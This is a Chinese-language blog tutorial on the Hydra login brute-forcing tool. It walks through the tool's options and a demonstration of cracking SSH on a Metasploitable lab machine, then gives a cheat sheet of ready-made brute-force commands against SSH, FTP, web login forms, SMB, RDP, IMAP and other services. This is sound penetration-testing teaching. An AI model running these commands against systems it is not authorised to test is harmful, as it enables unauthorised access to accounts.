藏兵谷

爆破工具 Hydra 简单使用

2019-03-01  本文已影响234人  MangfuStudio

关于Hydra

hydra 是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可

hydra

以下是Hydra支持的协议

你可以在Github上找到它的源码: https://github.com/vanhauser-thc/thc-hydra

Hydra 使用

hydra 有两个版本

  1. 命令行版本
  2. GUI版本

其中GUI版本叫 xhydra,直接在终端中输入命令打开(或者在菜单中寻找打开)

xhdra   #打开xhydra
xhydra 使用

关于xhydra 的使用请参考 煜铭2011 的博文:密码破解神器-xhydra

此篇博文已经详细讲解了使用方法

hydra 的使用

使用以下命令查看工具的参数

hydra -h
Hydra v8.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs ftp http-{head|get|post} http-{get|post}-form http-proxy http-proxy-urlenum icq imap irc ldap2 ldap3[s] mssql mysql(v4) nntp pcanywhere pcnfs pop3 redis rexec rlogin rpcap rsh rtsp s7-300 smb smtp smtp-enum snmp socks5 teamspeak telnet vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.

Example:  hydra -l user -P passlist.txt ftp://192.168.0.1

参数详解

参数 用途
-l 指定单个用户名,适合在知道用户名爆破用户名密码时使用
-L 指定多个用户名,参数值为存储用户名的文件的路径(建议为绝对路径)
-p 指定单个密码,适合在知道密码爆破用户名时使用
-P 指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径(建议为绝对路径)
-C 当用户名和密码存储到一个文件时使用此参数。注意,文件(字典)存储的格式必须为 "用户名:密码" 的格式。
-M 指定多个攻击目标,此参数为存储攻击目标的文件的路径(建议为绝对路径)。注意:列表文件存储格式必须为 "地址:端口"
-t 指定爆破时的任务数量(可以理解为线程数),默认为16
-s 指定端口,适用于攻击目标端口非默认的情况。例如:http服务使用非80端口
-S 指定爆破时使用 SSL 链接
-R 继续从上一次爆破进度上继续爆破
-v/-V 显示爆破的详细信息
-f 一但爆破成功一个就停止爆破
server 代表要攻击的目标(单个),多个目标时请使用 -M 参数
service 攻击目标的服务类型(可以理解为爆破时使用的协议),例如 http ,在hydra中,不同协议会使用不同的模块来爆破,hydra 的 http-gethttp-post 模块就用来爆破基于 getpost 请求的页面
OPT 爆破模块的额外参数,可以使用 -U 参数来查看模块支持那些参数,例如命令:hydra -U http-get

实例:爆破ssh

出于演示目的,我使用 Metasploitable 来当靶机,爆破其 ssh

靶机IP:192.168.56.12
用户:user
user用户密码:user

先用 nmap 扫描靶机是否开放了 22 端口
选取爆破模块

爆破ssh当然是使用 ssh模块 啦,(模块一般和协议名称一致,可以查看本文开头列出的协议部分),
使用 -U 选项查看 ssh模块 是否需要额外的参数

hydra -U ssh

看来不需要额外参数。

选取爆破字典

字典什么的,网上有很多,搜索下载即可,如果懒得找,可以使用Kali自带的字典:/usr/share/wordlists/

/usr/share/wordlists/ 目录下带有多种类型的字典,这里就不详细说了,可以参考这篇博文:Kali 系统自带字典目录wordlists

用户字典:为了节省时间,我直接到靶机中查看有那些用户而不是使用用户字典
密码字典:我这里选用了码云上墨玉麒麟 收集的 字典库 中的 字典.txt

为什么选取 字典.txt 这个字典来爆破?
因为我这里只是出于演示目的,而字典.txt 这个字典只有 200 多条密码数据,符合我演示的目的
字典.txt 克隆到本地,重命名为 sshpasswd.list,存储在 /root/Work/ 目录中

开始爆破
hydra 192.168.56.12 ssh -l user -P /root/Work/sshpasswd.list -t 6 -V -f

命令详细:

爆破成功


用户名和密码都是 user

验证

# 连接目标ssh
ssh user@192.168.56.12

注意:
在爆破过程中,要适当的使用爆破的线程数,因为ssh一般有连接数量的苛刻限制(比如连接数量不得超过4的),如果使用hydra默认的线程数,有些线程会连接失败,从而导致字典中有正确密码而无法爆破现象。
个人建议 爆破ssh使用的线程数是 4~7

其他协议的爆破就不一一列举了,以下是常用的一些爆破语句

1、破解ssh: 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 


2、破解ftp: 
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV 
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 


3、get方式提交,破解web登录: 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ 
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php


4、post方式提交,破解web登录: 
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" 
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中 的内容是表示错误猜解的返回信息提示。) 


5、破解https: 
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 

6、破解teamspeak: 
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 

7、破解cisco: 
hydra -P pass.txt 10.36.16.18 cisco 
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 

8、破解smb: 
hydra -l administrator -P pass.txt 10.36.16.18 smb 

9、破解pop3: 
hydra -l muts -P pass.txt my.pop3.mail pop3 

10、破解rdp: 
hydra ip rdp -l administrator -P pass.txt -V 

11、破解http-proxy: 
hydra -l admin -P pass.txt http-proxy://10.36.16.18 

12、破解imap: 
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN 
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

不喜欢看文章的可以看我的于简书同步的博客文章 爆破工具 Hydra 的简单使用中的使用视频

上一篇下一篇

猜你喜欢

热点阅读